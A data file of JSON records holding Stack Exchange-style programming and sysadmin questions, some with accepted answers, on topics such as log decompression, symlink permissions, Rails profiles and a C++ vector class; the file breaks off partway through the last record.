{  "id": "_unix.77296"  , "question": "When handling log files, some end up as gzipped files thanks to logrotate and others not. So when you try something like this:$ zcat *you end up with a command line like zcat xyz.log xyz.log.1 xyz.log.2.gz xyz.log.3.gz and then with:gzip: xyz.log: not in gzip formatIs there a tool that will take the magic bytes, similar to how file works, and use zcat or cat depending on the outcome so that I can pipe the output to grep for example?NB: I know I can script it, but I am asking whether there is a tool out there already."  , "title": "Is there a tool that combines zcat and cat transparently?"  , "tags": "text processing;cat;gzip"  , "accepted_answer": "zlessIt seems a pity about zcat, as libz has an API that supports reading from both compressed and uncompressed files transparently.  But the manpage does say that zcat is equivalent to gunzip -c."  } 
{  "id": "_webapps.4946"  , "question": "Weekly, I tend to browse the Explore section or sometimes basic searches to see if I can reproduce any shots. To keep things realistic, I do not own a DSLR so a lot of shots are ignored. Is it possible to filter searches so that I can only get a certain camera type.Where the camera type is displayed in the Additional information section. I know there is the Camera Finder Setup (e.g. photos with iPhone ) How about the reverse ? Searching photos then applying the filter ? The reason for this is that say I wanted to check only Creative Commons-licensed content , I would select this in advanced search... but then I lose the camera filter. (maybe I am missing a step)"  , "title": "Is there a way to search Flickr photos by camera type?"  , "tags": "flickr"  , "accepted_answer": "The advanced search does seem to lose the camera finder filter. If you copy the URL argument for the camera type;&cm=apple%2Fiphone_3gsand paste it in at the end of your CC licensed software searchhttp://www.flickr.com/search/?q=tree&l=cc&ss=0&ct=0&mt=all&w=all&adv=1&cm=apple%2Fiphone_3gsYou can get the results you require. A bit hacky but it does work.Hope this helps."  } 
{  "id": "_webmaster.104631"  , "question": "Some days ago I used some traffic generator sites to increase traffic for my site. But after doing log out from this sites. The traffic which is coming to my site from these sites should stop, but still, traffic is coming and this traffic showing as organic traffic in analytics under not provided keywords. I also read about how to identify fake traffic. The answer is if your getting it from the same location again n again or having high bounce rate so it may be fake traffic. But there is no high bounce rate also getting traffic from a different location but most traffic is from the USA. For reference, i'm attaching my GA audience overview of today. In blogger dashboard under traffic sources Referring URLs and Referring sites are showing from google.com. Really not getting is it fake traffic or real traffic. Also checked Exclude all hits from known bots and spiders in analytics setting. I heard about captcha setting so can I add CAPTCHA before entering my site? So it will avoid bots. Please any solution as soon as possible I want to avoid it."  , "title": "Getting too much organic traffic? how to identify is it real or fake?"  , "tags": "seo;google analytics"  , "accepted_answer": "The best way to check weather organic traffic is real or fake, I use mostly Google search console, why? Because it is not normal analytics like Google analytics which track something when someone land in your website (including spam bot) or using http headers(Which is easy to spoof for many spammer).To make it fake search console analytics report, your competitor or any third party tool have to search that phrase in search and also have to click on search result, which is not easy and required more CPU resource. At this time there are some tool which track keyword position, but they just check the position, and does not click on search result pages. So you will get better assumption with number of impression and number of clicks from search analytic report.To see your search analytics report go to your search console, click on search traffic and finally click on search analytics. Or simply click here and choose your web properties. Hope you have already added your website on search console. "  } 
{  "id": "_cs.60152"  , "question": "I'm encountering a dynamic modelling problem. I've tried a lot of methods but it seems that all of them are of time complexity O(MNK), like the basic algorithm. I wonder if any guys can make some suggestions about any possible improvement of my time complexity?A dynamic model is defined as follows: State(n,m,t) is the state of the node (n,m) at time t. This value is either 0 or 1. A neighbourhood of node (n,m) consists of 8 nodes around it. Denote LifeAround(n,m,t) as the number of nodes in the neighbourhood of (n,m) at time t that are in state 1. Evolution: If state(n,m,t)=0 (dead) then state(n,m,t+1)=1 (alive) iff LifeAround(n,m,t)=3 If state(n,m,t)=1 (alive) then state(n,m,t+1)=0 (dead) iff LifeAround(n,m,t)<2 or LifeAround(n,m,t)>3a. Write a function that starts with the given state and develops the model through k steps on a fixed grid with zeros outside the boundary. b. Write a similar function that has no boundary."  , "title": "Dynamic Modelling improvement suggestions"  , "tags": "arrays"  } 
{  "id": "_cs.53274"  , "question": "This is what I have so far1 1 0 0Switch values by 2s Complement0 0 1 1+     10 1 0 0"  , "title": "Is it possible to compute -12 (decimal) in 4 bits binary"  , "tags": "computer architecture;arithmetic"  , "accepted_answer": "No, it's not possible, at least using the standard representations. An unsigned $n$-bit number can represent any integer in the interval $[0, 2^{n} - 1]$. A signed $n$-bit number using two's complement can represent integers in the interval $[-2^{n - 1}, 2^{n - 1} - 1]$. With $n = 4$, that gives an interval of $[-8, 7]$, which obviously doesn't include $12$. One's complement can use $n$ bits to represent the interval $[-(2^{n - 1} - 1), 2^{n - 1} - 1]$, giving the interval $[-7, 7]$ for four bits, which also doesn't work. You'd have to contrive a nonstandard representation to represent $-12$ in four bits."  } 
{  "id": "_webmaster.11961"  , "question": "I am trying to layout a list vertically that has a checkbox, image and description....see here for an example...http://www.sk8loc8.com/deposit/list.jpgAs you can see the images look a bit too high and i would like them to 'sink' a little to line up with the text and checkbox.  i put them in a table to get around the issue, but it acts just the same as an unordered list and the image sits higher.i tried using valign=top for the text and checkbox but this doesnt seem to work, neither does adding a bottom-margin to the text, or adding a top-margin to the image.does anyone have any advice? here is the markup...<table id=mapLegend class=mapLegendTable border=1 cellpadding=5px>        <tr title=A skatepark we know exists>            <td valign=top><input type=checkbox /></td>            <td><img src=assets/images/gIconRedDot.png alt=Skatepark /></td>            <td valign=top>Park</td>        </tr>         <tr title=A skatepark we strongly recommend>            <td valign=top><input type=checkbox /></td>            <td><img src=assets/images/gIconYellowStar.png alt=Recommended Skatepark /></td>            <td valign=top>Recommended Park</td>        </tr>         <tr title=A Skater Owned Shop>            <td valign=top><input type=checkbox /></td>            <td><img src=assets/images/gIconSkateshop.png alt=Skate Shop /></td>            <td valign=top>Skate Shop</td>        </tr>         <tr title=A skatepark we do not know anything about. It MAY exist but we do not know for sure>            <td valign=top><input type=checkbox /></td>            <td><img src=assets/images/gIconUnconfirmedSpot.png alt=Unconfirmed Skatepark /></td>            <td valign=top>Unconfirmed Park</td>        </tr>    </table>and the old code, as an unordered list...<ul id=mapLegend>                <li id=parkIcon title=A skatepark we know exists>                    <img src=assets/images/gIconRedDot.png alt=Skatepark /><span>Park</span></li>                <li id=recommendedParkIcon title=A skatepark we recommend>                    <img src=assets/images/gIconYellowStar.png alt=Skatepark />Recommended Park</li>                <li id=shopIcon title=A Skater Owned Shop>                    <img src=assets/images/gIconSkateshop.png alt=Skatepark />Skate Shop</li>                <li id=unconfirmedParkIcon title=A skatepark we do not know anything about. It MAY exist but we do not know for sure>                    <img src=assets/images/gIconUnconfirmedSpot.png alt=Skatepark />Unconfirmed                    Park</li>            </ul>"  , "title": "Aligning Images in Tables and Lists"  , "tags": "html;images;table"  , "accepted_answer": "The list will do. You need to apply the 'vertical-align:top' style to the images. I usually use 'middle' for this which looks a little better for one-liners.This can be done in your image direction, as in:<img src=assets/images/gIconRedDot.png alt=Skatepark style=vertical-align:top/>Or by CSS:#mapLegend li img {vertical-align:top;}"  } 
{  "id": "_codereview.20129"  , "question": "public class NANDFunction : FunctionInfo{    public override string Name { get { return NAND; } }    public override int MinArgs { get { return 2; } }    public override int MaxArgs { get { return 2; } }    public override object Evaluate(object[] args)    {        bool arg0 = CalcConvert.ToBool(args[0]);        bool arg1 = CalcConvert.ToBool(args[1]);        return ((arg0 != arg1) || (!arg0 && !arg1));    }}What do you think of this code?"  , "title": "Possible issues and best practices for this piece of code"  , "tags": "c#"  , "accepted_answer": "You may want to add some additional validation around how many arguments you're expecting (since you know via MinArgs and MaxArgs). You can also eliminate having to create an object array explicitly in the caller by using the params keyword (make sure you do it in the declaration in FunctionInfo as well). Lastly, if this class is intended to be non-inheritable (unlike FunctionInfo), mark it as sealed:public sealed class NANDFunction : FunctionInfo{    public override string Name { get { return NAND; } }    public override int MinArgs { get { return 2; } }    public override int MaxArgs { get { return 2; } }    public override object Evaluate(params object[] args)    {        if ((args.Length < this.MinArgs) || (args.Length > this.MaxArgs))        {            throw new ArgumentException(An insufficient number of arguments were passed.);        }        bool arg0 = CalcConvert.ToBool(args[0]);        bool arg1 = CalcConvert.ToBool(args[1]);        return (arg0 != arg1) || (!arg0 && !arg1);    }   }"  } 
{  "id": "_softwareengineering.343734"  , "question": "We have a Java application that uses a live 3rd party data feed. There are several steps in our application and in each step the application reaches out to the 3rd party data feed with the current state of the user flow and received back the data for the current step.Recently, we have noticed that there have been problems with the data in the feed. Because of this our application barfs and users cannot proceed. Even though the application handles the error, our priority is to let user complete the flow.In order to do that I have been thinking of starting to take snapshots of the feed and version them, so that in case the external party feed has problem we can switch to our internal snapshot till the external feed is fixed.Does this makes sense? I am wondering if this is a good strategy or there can be something else we can do. Also, are there any tools that lets you keep snapshots of data?"  , "title": "How to mitigate third party data feed issues?"  , "tags": "java;data;3rd party"  } 
{  "id": "_unix.317175"  , "question": "Why root lose permission to run 1st level symlink /bin/planet and 2nd level symlink  /tmp/earth, except symlink target /tmp/sun at the end ? Instead ordinary user no problem to run 3 of them:xiaobai@dnxb:~/note$ echo -e '#!/bin/bash\\necho hack the planet' > /tmp/earthxiaobai@dnxb:~/note$ chmod +x /tmp/earthxiaobai@dnxb:~/note$ sudo ln -s /tmp/earth /bin/planetxiaobai@dnxb:~/note$ sudo file /bin/planet/bin/planet: symbolic link to /tmp/earthxiaobai@dnxb:~/note$ sudo ls -la /bin/planetlrwxrwxrwx 1 root root 10 Oct 18 18:55 /bin/planet -> /tmp/earthxiaobai@dnxb:~/note$ planethack the planetxiaobai@dnxb:~/note$ echo -e '#!/bin/bash\\necho crack the planet' > /tmp/sunxiaobai@dnxb:~/note$ chmod +x /tmp/sunxiaobai@dnxb:~/note$ rm /tmp/earthxiaobai@dnxb:~/note$ ln -s /tmp/sun /tmp/earthxiaobai@dnxb:~/note$ ls -la /bin/planet lrwxrwxrwx 1 root root 10 Oct 18 18:55 /bin/planet -> /tmp/earthxiaobai@dnxb:~/note$ sudo ls -la /bin/planet lrwxrwxrwx 1 root root 10 Oct 18 18:55 /bin/planet -> /tmp/earthxiaobai@dnxb:~/note$ file /bin/planet /bin/planet: symbolic link to /tmp/earthxiaobai@dnxb:~/note$ sudo file /bin/planet /bin/planet: broken symbolic link to /tmp/earthxiaobai@dnxb:~/note$ planetcrack the planetxiaobai@dnxb:~/note$ sudo planetsudo: unable to execute /bin/planet: Permission deniedxiaobai@dnxb:~/note$xiaobai@dnxb:~/note$ sudo /tmp/earth sudo: unable to execute /tmp/earth: Permission deniedxiaobai@dnxb:~/note$ sudo /tmp/sun crack the planetxiaobai@dnxb:~/note$ /tmp/suncrack the planetxiaobai@dnxb:~/note$ /tmp/earth crack the planetxiaobai@dnxb:~/note$ stat /tmp/earth   File: '/tmp/earth' -> '/tmp/sun'                                                                                                                      Size: 8               Blocks: 0          IO Block: 4096   symbolic link                                                                             Device: 807h/2055d      Inode: 29          Links: 1                                                                                                   Access: (0777/lrwxrwxrwx)  Uid: ( 1000/ xiaobai)   Gid: ( 1000/ xiaobai)Access: 2016-10-18 18:59:15.949297618 +0800Modify: 2016-10-18 18:56:56.849295531 +0800Change: 2016-10-18 18:56:56.849295531 +0800 Birth: -xiaobai@dnxb:~/note$ stat /tmp/sun  File: '/tmp/sun'  Size: 34              Blocks: 8          IO Block: 4096   regular fileDevice: 807h/2055d      Inode: 30          Links: 1Access: (0755/-rwxr-xr-x)  Uid: ( 1000/ xiaobai)   Gid: ( 1000/ xiaobai)Access: 2016-10-18 18:59:36.489297926 +0800Modify: 2016-10-18 18:56:45.253295357 +0800Change: 2016-10-18 18:56:49.377295419 +0800 Birth: -xiaobai@dnxb:~/note$ The only difference from stat output is l, but it's normal because it's a symlink. So what's the real reason root lose the permissions except final symlink target ? Another weird thing is sudo file /bin/planet said it's a broken symlink but file /bin/planet (ordinary user) said it's a symbolic link to /tmp/earth.[UPDATE]After i do sudo sysctl -w fs.protected_symlinks=0, no such problem anymore."  , "title": "Why root lose permission of 1st and 2nd level symlink?"  , "tags": "permissions;root;symlink;tmp;ln"  } 
{  "id": "_opensource.4682"  , "question": "I'm working on building a proprietary application that I would like to release as PGP-signed Debian packages.I heard I might be forced to release the source to my proprietary application simply due to the fact that it would be signed by GnuPG, which is covered under GPLv3 containing the Tivoization clause.Is this true?  It is my understanding that the license for GnuPG would enforce disclosing any modifications to GnuPG itself, not the use of GnuPG to apply a signature to an arbitrary object.  Saying that the object I'm signing with GnuPG is now also open source makes no sense to me.Can someone clarify?Thank you!"  , "title": "Is GPLv3 violated by releasing proprietary code as a GnuPG-signed package?"  , "tags": "licensing;gpl 3;proprietary code;intellectual property"  , "accepted_answer": "In general, the GPL does not affect the output of a GPL-licensed program. From the GPL FAQ:Is there some way that I can GPL the output people get from use of my program?For example, if my program is used to develop hardware designs, can I require that these designs must be free?In general this is legally impossible; copyright law does not give you any say in the use of the output people make from their data using your program. If the user uses your program to enter or convert her own data, the copyright on the output belongs to her, not you. More generally, when a program translates its input into some other form, the copyright status of the output inherits that of the input it was generated from.That is sufficient to show that the output of GnuPG is not automatically licensed under the GPL, so distributing such output within another work does not impose GPL requirements.In your case, there is a further reason that a signature would not impose GPL requirements: I sincerely doubt that copyright law could ever recognize a cryptographic signature as a creative or derivative work. Cryptographic signing (which, as one of its steps, includes hashing) is a massively lossy transformation that completely destroys the original content of the work and is not designed to be reversed. As such, even if the GPL applied to the output of a GPL signing program (and again, it does not, per the FAQ item above), the output would not be eligible for copyright, so any copyright license such as the GPL would have no effect.Finally, tivoization only applies ifyou are distributing a GPLv3-licensed program, andthe program is intended to run on a specific hardware device, andthe hardware of that device refuses to run an incorrectly signed executable.As far as you've described your situation, absolutely none of those criteria apply to your case."  } 
{  "id": "_unix.369406"  , "question": "I'm trying for many hours to clean my csv file using (AWK or SED)here is how looks the csv file:id,name,contact-type,contact1,toto corp,tel,+1234567891,toto corp,fax,+1987654321,toto corp,site,totocorp.com2,Namek corp,tel,+143776785632,Namek corp,fax,+198673345652,Namek corp,site,Namekcorp.comand I would like to have this output:id,name,tel,fax,site1,toto corp,+123456789,+198765432,totocorp.com2,Namek corp,+14377678563,+19867334565,Namekcorp.comThank you for the hand guys!"  , "title": "Parsing CSV using AWK or SED"  , "tags": "text processing;awk;sed;cvs"  } 
{  "id": "_cs.33493"  , "question": "Let $W = \\{w_1,w_2,...w_n\\}$ be a set of integer weights. Let $B = \\{b_1,b_2,...b_m\\}$ be a set of buckets, with $m \\leq n$. Let $T(b_j)$ represent the total weight present in bucket $b_j$, which is the sum of all the weights present in $b_j$.What is the optimal way to distribute all the weights $w_i$ into the buckets $b_j$ to minimize the metric $\\max T(b_j) - \\min T(b_k)$ for some $j,k \\leq n$?I know that this seems to be a variant of the bin packing problem and I have found some heuristics such as the ones described here.But is this problem really equivalent to the one in the link? My problem does not have an upper limit on the capacity of each bucket, which makes it quite different from the routine bin-packing problem.If anyone has an optimal solution and if it's NP-hard, an approximation algorithm, I'd love to hear it."  , "title": "Balanced Weight Distribution in Bins/Buckets"  , "tags": "algorithms;approximation;knapsack problems"  } 
{  "id": "_cs.43088"  , "question": "Find the 10 top most occurring strings in a huge array of Strings.Since the array is huge, it is not possible to load it in memory completely.My idea is to parse the arrays one by one and put the strings in a hash table with string as key and occurrence count as value. But this would take too much memory.Is there any other optimized solution? Given that we only care about top 10 keys. "  , "title": "Find the 10 top most occurring strings in a huge array of objects"  , "tags": "algorithms;space complexity;streaming algorithm"  } 
{  "id": "_webapps.108786"  , "question": "On their website they announce a free machine:However, when I try to get it, it is not free: So, how can I get this free machine? "  , "title": "How to get Google Compute Engine free tier?"  , "tags": "google cloud"  } 
{  "id": "_unix.213707"  , "question": "This is related to my previous question.Given that I can find the statistics of IPC channels in my Linux system (e.g. sys V IPC), how can I find which processes are using certain IPC channel (sending via channel; receivers are usually mentioned in command outputs). For example, ipcs gives me a list of shared mem id's on the machine. How can I find which processes are using that shared memory ?The other IPC's I am interested in (these are the commands I used to find the statistics):Pipes: lsof | grep pipeUNIX Domain sockets: netstat -n"  , "title": "Linux - check processes using IPC channels"  , "tags": "ipc"  } 
{  "id": "_webmaster.53090"  , "question": "On a search results page, I want to show related search links.  These links are generated by user searches, that aren't already part of the site's regular links.  This, in effect was to increase the number of links on the site.I had created a small widget that showed ten related search links.  The site took a negative hit, and I'm guessing this was because on each page, ten new links would appear, and essentially creating thousands of new pages.  I want to be able to dynamically add some user-generated searches to the site without taking an SEO hit.  Obviously I can no-follow those links, but that then defeats the purpose.What's the best way to go about this?"  , "title": "How to properly use related search links on sites without taking a negative SEO hit?"  , "tags": "seo;negative seo"  } 
{  "id": "_softwareengineering.252884"  , "question": "I'm writing a huffman encoding program in C. I'm trying to include the least amount of information in the header as possible, I know the simplest way to decompress the file in the header would be to store the frequencies of each character in the file, but for a large file with 256 characters it would take 2304 bytes ((1 byte for character + 8 bytes for long frequency) * 256), which I don't think is optimal. I know I can reconstruct a tree from a preorder scan and an inorder scan of it, but that requires having no duplicate values. That is bad because I now have to store each node in the tree (in a huffman tree: n*2 - 1 with n being the number of unique characters), twice, having each node be a long value (which could take ((256*2 - 1) * 2) * 8 = 8176 bytes.Is there a way I'm missing here, or are those my only options?Thanks. "  , "title": "Reconstructing a huffman tree using minimal information in the header"  , "tags": "c;huffman encoding"  , "accepted_answer": "There are 2 separate problems, store the topography and assign the leaf nodesAssigning the leaf nodes can be done by storing the characters in in a predefined order so it can be extracted as needed.Storing topography can be done by having a bit vector with 2 bits per parent node in the previous layer where 1 represents a compound node and 0 represents a leaf nodeso first there is 1 bit for the root which is 1 and the next 2 bits will represent the next level downto build the tree using the node{char value; node* left, right;} setup will be:char[] chars;//prefill with the other arrayint charIndex = 0;node root;vector<node*> toBuild(root);while(!toBuild.empty()){    node n = toBuild.popFront();    bool bit = grabBit();    if(bit){        n.left = new node;        toBuild.pushBack(n.left);    }else        n.value = chars[charIndex++];    bit = grabBit();    if(bit){        n.right = new node;        toBuild.pushBack(n.left);    }else        n.value = chars[charIndex++];}return root;This is 2*n bits in the topography plus the permutation which is O(log n!) at the minimum."  } 
{  "id": "_unix.169598"  , "question": "I use VIM's dictionary completion feature very frequently, yet have found it unhelpful when it comes to 'specialized' terminology, in my case German philosophical terms. I would now like to create my own dictionary file filled with philosophical terms that I can feed VIM with. How could one create such a file? I was thinking Wikipedia would be a good place to start? Or extracting all <h3> headers from this site?Looking forward to any suggestions! "  , "title": "Creating specialised dictionary file for VIM (from Wikipedia?)"  , "tags": "vim;dictionary"  , "accepted_answer": "For now I've started a GitHub project for anyone interested."  } 
{  "id": "_cs.3098"  , "question": "How can I prove that a set is complete for $\\Pi_2$ complete? Can you give me an example proof? Say for $All_{TM}$ = Turing machines whose accepted language is all strings?"  , "title": "How to show a set is $\\Pi_2$ complete"  , "tags": "computability"  } 
{  "id": "_unix.357890"  , "question": "I tried several ways to get logged into freelancer.comI am trying to achieve this using cURL but it is not saving the cookie but from the output:[root@lnc free]# sudo bash free.sh Warning: /root/.curlrc:1: warning: '--' had unsupported trailing garbage* About to connect() to www.freelancer.com port 443 (#0)*   Trying 54.225.216.189...* Connected to www.freelancer.com (54.225.216.189) port 443 (#0)* Initializing NSS with certpath: sql:/etc/pki/nssdb*   CAfile: /etc/pki/tls/certs/ca-bundle.crt  CApath: none* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256* Server certificate:*       subject: CN=*.freelancer.com,OU=Domain Control Validated - RapidSSL(R),OU=See www.rapidssl.com/resources/cps (c)15,OU=GT15355554*       start date: May 10 07:58:28 2015 GMT*       expire date: May 11 14:18:43 2017 GMT*       common name: *.freelancer.com*       issuer: CN=RapidSSL SHA256 CA - G3,O=GeoTrust Inc.,C=US* Server auth using Basic with user 'potato'> GET /login HTTP/1.1> Authorization: Basic bWFydGluccAwccpccccpccMccA==> User-Agent: curl/7.29.0> Host: www.freelancer.com> Accept: */*> < HTTP/1.1 200 OK< Server: nginx< Date: Sun, 09 Apr 2017 04:19:52 GMT< Content-Type: text/html; charset=UTF-8< Transfer-Encoding: chunked< Connection: keep-alive< Vary: Accept-Encoding< Age: 0< X-Cache: MISS< Accept-Ranges: bytes< Strict-Transport-Security: max-age=172800< X-Frame-Options: SAMEORIGIN< { [data not shown]* Connection #0 to host www.freelancer.com left intactfree.shcurl -s -v -L -u potato:fried 'https://www.freelancer.com/login' >> /home/free/file.htmlI am trying to get logged in then go to my dashboard and collect some data.But it does not redirect me neither.."  , "title": "Login with curl from a bash script is not saving cookies"  , "tags": "login;curl;ssl"  } 
{  "id": "_unix.97796"  , "question": "After posting my question here, Add xinput to the start up secuence of LXDEI got no answer so here it is. I have these 2 commands:xinput --set-prop Razer Razer DeathAdder Device Accel Constant Deceleration 4                                 xinput --set-prop Razer Razer DeathAdder Device Accel Velocity Scaling 1  Which I want to run on start up. I am using zsh shell.I tried putting these 2 commands /etc/rc.local, .zshrc, .zlogin, also in /etc/xdg/lxsession/Lubuntu/autostart , also in /.xinitrc and /etc/X11/xinit/xinitrc but nothing seems to happen. Could somebody let me know what is going on please, and why none of these is working?Here is my current /etc/X11/xinit/xinitrc file (ignore the numbers (vim)):  1 #!/bin/sh                                                                                                                                                                                                                                  2                                                                                                                                                                                                                                            3 # /etc/X11/xinit/xinitrc                                                                                                                                                                                                                   4 #                                                                                                                                                                                                                                          5 # global xinitrc file, used by all X sessions started by xinit (startx)                                                                                                                                                                    6                                                                                                                                                                                                                                            7 # invoke global X session script                                                                                                                                                                                                           8 . /etc/X11/Xsession                                                                                                                                                                                                                        9                                                                                                                                                                                                                                         10 /usr/bin/xinput --set-prop Razer Razer DeathAdder Device Accel Constant Deceleration 4            11 /usr/bin/xinput --set-prop Razer Razer DeathAdder Device Accel Velocity Scaling 1  Could somebody explain to me what is goign on ? Why nothing is happening?I tried everything, rebooted, and the $%^&* commands will just not run.Any help please?"  , "title": "Start up commads in Lubuntu 2"  , "tags": "ubuntu;zsh;oh my zsh;lubuntu"  } 
{  "id": "_webapps.76037"  , "question": "I am creating a form to sign up members to a summer camp.  I have set up a repeating section, so if parents have more then one child attending they don't have to start from scratch.  My problem is that it cost $60 for the first kid and $30 for each additional kid.  I know I can do a drop down menu to ask the cost for each kid, but I rather it automatically calculate the costs to eliminate errors. I can't figure how to do a conditional to know that camper 1 has been added ($60) and to only charge $30 each for additional camper ie camper 2 , camper 3  etc.The cost should be $120 for three campers.Thanks."  , "title": "Repeating Section Cognito Forms with variable costs"  , "tags": "cognito forms"  } 
{  "id": "_unix.273108"  , "question": "Compare the following two commands:mysqldump database_name --hex-blob -uuser_name -p | tee database_name_tee.sqlmysqldump database_name --hex-blob -uuser_name -p > database_name_out.sqlIf I run the first, on completion I see the following on my terminal:$ 62;c62;c62;c62;cWhere does this come from? Does it suggest that something has gone wrong somewhere in the process? Are these control characters which are being output for some reason?U+0C62 is Telugu Vowel Sign Vocalic L, which Im pretty sure is not part of my data, so I dont think this is Unicode. Anyway, the sequence seems to be not c62 but 62;c. This could be a control character of some kind. And whatever is causing it is included in the output file. If I later cat either database_name_tee.sql or database_name_out.sql, I again see this sequence once the cat is complete.tail database.sql -n200 does not produce this output; -n300 produces just $ 62;c62;c; and -n400 produces $ 62;c62;c62;c62;c. So whatever is causing this is distributed throughout the file.Mucking around with head and tail, I found one of the culprits: a single line which, when saved to a separate file and printed with cat, produces $ 62;c62;c. My problem is that this single line is 1043108 bytes.(The generated SQL file is perfectly fine, and runs without errors. I dont think that this has anything to do with MySQL per se.)Im running the initial mysqldump on a CentOS server, and am seeing the same effects from cat on both the server itself and my Ubuntu desktop, so this seems to be a general Bash thing.od -c problem_line produces 65174 lines of output, so I cut it down to a smaller section which demonstrates the same output (also available as a plain hexdump)."  , "title": "What does it mean when characters appear on the prompt after an operation?"  , "tags": "bash;escape characters"  } 
{  "id": "_unix.241480"  , "question": "Assuming Linux, would it be possible to implement a TCP/IP stack in the user context (vs. kernel)? How would you do it? What would be pros and cons of such an implementation, as compared to the conventional implementations where the stack resides in the kernel? "  , "title": "TCP/IP stack in the user context vs. kernel Linux"  , "tags": "networking"  } 
{  "id": "_codereview.112277"  , "question": "I am building a Rails marketplace application using TDD. I would like to get advice on the way in which I have built the User associated Profile associations and way in which these are then handled in the controllers.User modelclass User < ActiveRecord::Base  has_one :profile, dependent: :destroy  has_many :listings, dependent: :destroy  has_many :watches, dependent: :destroy  has_many :watched_listings,  -> { uniq }, :through => :watches, dependent: :destroy  # Include default devise modules. Others available are:  acts_as_messageable  def mailboxer_email(object)    email  end  def self.search(search)    where(email ILIKE ?, %#{search}%)   end  after_create :build_profileendProfile modelclass Profile < ActiveRecord::Base  belongs_to :user  has_attached_file :avatar, :styles => { :medium => 300x300>, :thumb => 100x100> }, :default_url => /images/:style/missing.png  validates_attachment_content_type :avatar, :content_type => /\\Aimage\\/.*\\Z/endUsers controllerclass UsersController < ApplicationController  def index    @users = User.all    if params[:search]      @users = User.search(params[:search]).order(created_at DESC)    else      @users = User.all.order('created_at DESC')    end  end  def show    @user = User.find(params[:id])  end  def watchlist    @watched_listings = current_user.watched_listings.all  endendProfiles controllerclass ProfilesController < ApplicationController  before_filter :authenticate_user!, :only [:edit, :update]  before_filter :correct_user, :only [:edit, :update]  def show    @profile = Profile.find_by(user_id: params[:user_id])  end  def edit    @profile = Profile.find_by user_id: current_user.id  end  def update    @profile = Profile.find_by user_id: current_user.id    if @profile.update(profile_params)      flash[:notices] = [Your profile was successfully updated]      render 'show'    else      flash[:notices] = [Your profile could not be updated]      render 'edit'    end  end  private  def profile_params    params.require(:profile).permit(:city, :country, :avatar)  end  def correct_user    @profile = Profile.find_by(user_id: params[:user_id])    redirect_to(root_path) unless current_user?(@profile)  endendI have also defined:Profiles helpermodule ProfilesHelper  def current_user?(user)    user == current_user  endendWithin my Application Controller:class ApplicationController < ActionController::Base  protect_from_forgery with: :exception  def after_sign_in_path_for(resource)    edit_user_profile_path(resource)  end  def after_sign_up_path_for(resource)    edit_user_profile_path(resource)  endendI'm very keen to get any feedback on:If the use of the after_create :build_profile is appropriate. Does this violate SRP principles by making the user model responsible for the creation of a profile?The best way to validate the correct user in the profile controller - to enforce whether a user can edit a profile or not. Mainly whether it is required that I be finding profiles by Profile.find_by(user_id: params[:user_id]) rather than by a Profile ID.Any other improvements to the code!I have RSpec and Capybara tests to back this here."  , "title": "Managing users and profiles in Rails"  , "tags": "beginner;ruby;ruby on rails;active record;helper"  , "accepted_answer": "Here's my thoughts.Profile ModelI'm not sure that the separate profile is pulling enough weight to justify its existence. It seems that a lot of this code could be avoided by collapsing it into the User model. I appreciate that the User and Profile can be two separate entities but it looks like it'll be much easier to keep them in one model until they grow too large to be viable, or there comes a time when a Profile has a separate lifecycle from a User.Which then avoids your question around SRP altogether :)But if we were to keep them separate, I don't think it would be a practical violation of SRP because your application likely depends on a profile always existing for a user. So having asserted that User should always have a Profile, you are then faced with the choice of leaving the creation in the hands of the controller, or the model. I favour leaving it in the hands of the model because the model is responsible for modelling the relationships between different business objects.Finding the Profile and Validating AccessYou could replace the find methods with a before_action that uses the user's relationship with the profile like so:before_action :get_profile, only: [:edit, :update]def get_profile   @profile = current_user.profileendThis will both reduce the amount of code required to select the profile, and ensure that the user can only access their profile to edit/update it.However, at that point it doesn't make sense to have the profile edit and update actions available with a user ID. They're essentially now singular resources and should be handled accordingly in your routes.You ask whether find by user_id or not is a good choice. It depends on whether the person accessing that route will be accessing it from the context of its User, or the Profile owner.current_user?I don't believe this code will work. You are passing it only Profile objects, and comparing it to the current_user method which returns a User object (or null if not logged in, if memory serves). This should always return false. You either need to call profile.user before passing it to the method, or have that method make the call."  } 
{  "id": "_codereview.82906"  , "question": "I haven't really programmed in C++ for about a year, and realised that I should get back into it, and tried my abilities out by remaking the STD vector class. However, my C++ is a bit rusty at the moment, and was wondering if I have made many mistakes in my implementation.# ifndef VECTOR_H# define VECTOR_H# include <memory>namespace test    {    template        <class T,    class A>    class vector;    template        <class A>        class vector_alloc_types        {    public:        typedef typename A::value_type value_type;        typedef typename A::size_type size_type;        typedef typename A::reference reference;        typedef typename A::const_reference const_reference;        typedef typename A::pointer iterator;        typedef typename A::const_pointer const_iterator;        typedef typename A::const_pointer const_pointer;        typedef A allocator_type;        };    template        <class T,        class A>        class vector_base        {        friend class vector<T, A>;    public:        typedef typename A::pointer pointer;        vector_base()            {            vm_begin = pointer();            value_end = pointer();            memory_end = pointer();            }    private:        pointer vm_begin, value_end, memory_end;        };    template         <class T,        class A = std::allocator<T> >        class vector            : public vector_alloc_types<A>,            public vector_base<T, A>        {    public:        typedef vector<T, A> my_T;        typedef vector_base<T, A> my_base;        vector()            : my_base()            {            }        vector(my_T const &rhs)            {            if (allocate(rhs.size()))                {                try                    {                    this->value_end = std::uninitialized_copy(rhs.vm_begin, rhs.value_end, this->vm_begin);                    }                catch (...)                    {                    kill();                    throw;                    }                }            }        vector(pointer first, pointer last)            : my_base()            {            if (allocate(std::distance(first, last)))                {                try                    {                    this->value_end = std::uninitialized_copy(first, last, this->vm_begin);                    }                catch (...)                    {                    kill();                    throw;                    }                }            }        template<size_type sz>        vector(T arr[sz])            {            if (allocate(sz))                {                try                    {                    this->value_end = std::uninitialized_copy_n(arr, sz, this->vm_begin);                    }                catch (...)                    {                    kill();                    throw;                    }                }            }        vector(size_type sz)            {            if (allocate(sz))                {                try                    {                    this->value_end = std::uninitialized_fill_n(this->vm_begin, sz, T());                    }                catch (...)                    {                    kill();                    throw;                    }                }            }        vector(size_type sz, T const &val)            {            if (allocate(sz))                {                try                    {                    this->value_end = std::uninitialized_fill_n(this->vm_begin, sz, val);                    }                catch (...)                    {                    kill();                    throw;                    }                }            }        ~vector()            {            kill();            }        void operator=(my_T &rhs)            {            if (this != &rhs)                {                assign(rhs);                }            }        template<unsigned sz>        void operator=(T (&arr)[sz])            {            assign(&arr[0], &arr[sz]);            }        void clear()            {            wipe(this->vm_begin, this->value_end);            }        iterator begin()            {            return (this->vm_begin);            }        const_iterator cbegin() const            {            return ((const_iterator)this->vm_begin);            }        iterator end()            {            return 